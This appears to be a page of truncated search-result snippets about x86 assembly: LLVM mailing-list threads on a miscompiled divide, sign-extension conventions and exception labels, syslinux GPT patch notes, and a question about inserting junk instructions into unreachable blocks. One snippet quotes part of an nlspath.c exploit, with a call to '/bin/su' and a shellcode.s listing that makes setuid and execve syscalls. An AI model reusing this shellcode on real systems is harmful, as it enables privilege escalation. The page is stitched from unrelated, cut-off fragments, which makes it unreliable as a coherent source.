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...ctEPNS_10StyleImageE ## BB#0: pushq %r14 pushq %rbx subq $8, %rsp movq %rsi, %rbx movq %rdi, %r14 movq %rdx, %rdi movq %rcx, %rsi callq __ZN7WebCore4viziEPKNS_20RenderBoxModelObjectEPNS_10StyleImageE movq %rax, %rcx shrq $32, %rcx testl %ecx, %ecx je LBB0_2 ## BB#1: imull (%rbx), %eax cltd idivl %ecx movl %eax, (%r14) LBB0_2: addq $8, %rsp popq %rbx popq %r14 ret $ llc opt-fail.ll -o - .section __TEXT,__text,regular,pure_instructions .globl __ZN7WebCore6kolos1ERiS0_PKNS_20RenderBoxModelObjectEPNS_10StyleImageE .align 4, 0x90 __ZN7WebCore6kolos1ERiS0_PKNS_20RenderBoxModelO...

...$8, %rsp > movq %rsi, %rbx > movq %rdi, %r14 > movq %rdx, %rdi > movq %rcx, %rsi > callq __ZN7WebCore4viziEPKNS_20RenderBoxModelObjectEPNS_10StyleImageE > movq %rax, %rcx > shrq $32, %rcx > testl %ecx, %ecx > je LBB0_2 > ## BB#1: > imull (%rbx), %eax > cltd > idivl %ecx > movl %eax, (%r14) > LBB0_2: > addq $8, %rsp > popq %rbx > popq %r14 > ret > > > $ llc opt-fail.ll -o - > > .section __TEXT,__text,regular,pure_instructions > .globl __ZN7WebCore6kolos1ERiS0_PKNS_20RenderBoxModelObjectEPNS_10StyleImage...

...esi movl 16(%esp), %edi movl (%edi,%esi,4), %ecx leal (%ecx,%ecx), %eax cmpl $-14, %eax jl .LBB0_2 # BB#1: # %if.then movl $2147483647, %eax # imm = 0x7FFFFFFF addl phi, %eax cltd idivl %ecx movl %eax, sum movl (%edi,%esi,4), %ecx .LBB0_2: # %if.end leal (,%ecx,4), %eax cmpl $-14, %eax jl .LBB0_4 # BB#3: # %if.then5 movl $2147483647, %ea...

...q %rdi, %r14 >> movq %rdx, %rdi >> movq %rcx, %rsi >> callq __ZN7WebCore4viziEPKNS_20RenderBoxModelObjectEPNS_10StyleImageE >> movq %rax, %rcx >> shrq $32, %rcx >> testl %ecx, %ecx >> je LBB0_2 >> ## BB#1: >> imull (%rbx), %eax >> cltd >> idivl %ecx >> movl %eax, (%r14) >> LBB0_2: >> addq $8, %rsp >> popq %rbx >> popq %r14 >> ret >> >> >> $ llc opt-fail.ll -o - >> >> .section __TEXT,__text,regular,pure_instructions >> .globl __ZN7WebCore6kolo...

....cfi_startproc movsbl %dil, %eax movsbl %sil, %esi movl %eax, %edx sarl $31, %edx idivl %esi ret where as clang 2.9 produces: sdiv: # @sdiv .Leh_func_begin0: # BB#0: movl %edi, %eax cltd idivl %esi movsbl %al, %eax ret GCC assumes the parameters have *not* been sign extended and assumes it is the receivers job to extend the return value. LLVM assumes the parameters *have* been sign extended and that the receiver expects a sign extended result. The LLVM...

...e: ret i32 %tmp2 unwindblock: unwind } And here is the resulting x86 code (Llabel1 was supposed to be before the {ctld, idvl} and Llabel2 which was after is not generated) test: .Leh_func_begin1: .Llabel4: movl $2, %eax movl 4(%esp), %ecx cltd idivl %ecx .Llabel1: .LBB1_1: # continue ret .LBB1_2: # unwindblock Thanks Duncan, Nicolas

...e (int32)(%1>>32) into %ecx, but is using the wrong input value since %rax has been clobbered by the above code, and further is clobbering the value in %eax computed above, which is implicit input to the divide. This is some kind of back end error, probably register allocator. > cltd > idivl %ecx

..."/bin/su", NULL); } --- nlspath.c --- And the shellcode separately: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $''/''-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte ''/'' .st...

http://llvm.org/docs/CodeGenerator.html#machine-code-description-classes Section starting: Fixed (preassigned) registers It talks about converting: define i32 @test(i32 %X, i32 %Y) { %Z = udiv i32 %X, %Y ret i32 %Z } into ;; X is in EAX, Y is in ECX mov %EAX, %EDX sar %EDX, 31 idiv %ECX ret BUT, where does the "sar" come from? Kind Regards James

...   movsbl  %sil, %esi >        movl    %eax, %edx >        sarl    $31, %edx >        idivl   %esi >        ret > > where as clang 2.9 produces: > > sdiv:                                   # @sdiv > .Leh_func_begin0: > # BB#0: >        movl    %edi, %eax >        cltd >        idivl   %esi >        movsbl  %al, %eax >        ret > > GCC assumes the parameters have *not* been sign extended and assumes > it is the receivers job to extend the return value.  LLVM assumes the > parameters *have* been sign extended and that the receiver expects a...

Hi Nicolas, > In order to have exceptions for non-call instructions (such as sdiv, > load or stores), I'm modifying codegen so that it generates a BeginLabel > and an EndLabel between the "may throwing" instruction. This is what the > codegen of an InvokeInst does. the rule is that all instructions between eh begin labelN and eh end labelN must unwind to the same

This patches add support for dynamic sectors to GPT MBR code. First 3 patches are trick and optimizations to gain some space for the forth patch. I have a modified version of SeaBIOS, some code and some script o test it I'll send on a different mail.

...(%esp) movb $116, 21(%esp) But for me, in dummy BB, we'd like to put some meaningless code or illegal code. From assemble machine level, it looks like push %eax push %ecx pop %edx pusha safh cltd das clc all of them are legal one-byte x86 machine instructions. Since those instructions have no chance to be executed, so it will not affect the original code. I thought the above machine code cannot be inserted by using new Instruction(....) way because it is IR...

Hi everyone, In order to have exceptions for non-call instructions (such as sdiv, load or stores), I'm modifying codegen so that it generates a BeginLabel and an EndLabel between the "may throwing" instruction. This is what the codegen of an InvokeInst does. However, when generating native code, only BeginLabel is generated, and it is generated after the instruction. I'm not

This set of patches add some support for sector size >512. Currently it fixes extlinux, MBR for GPT and ext partitions. Other code is unaffected. This set of patches has been tested on a read Dell machine running a beta firmware.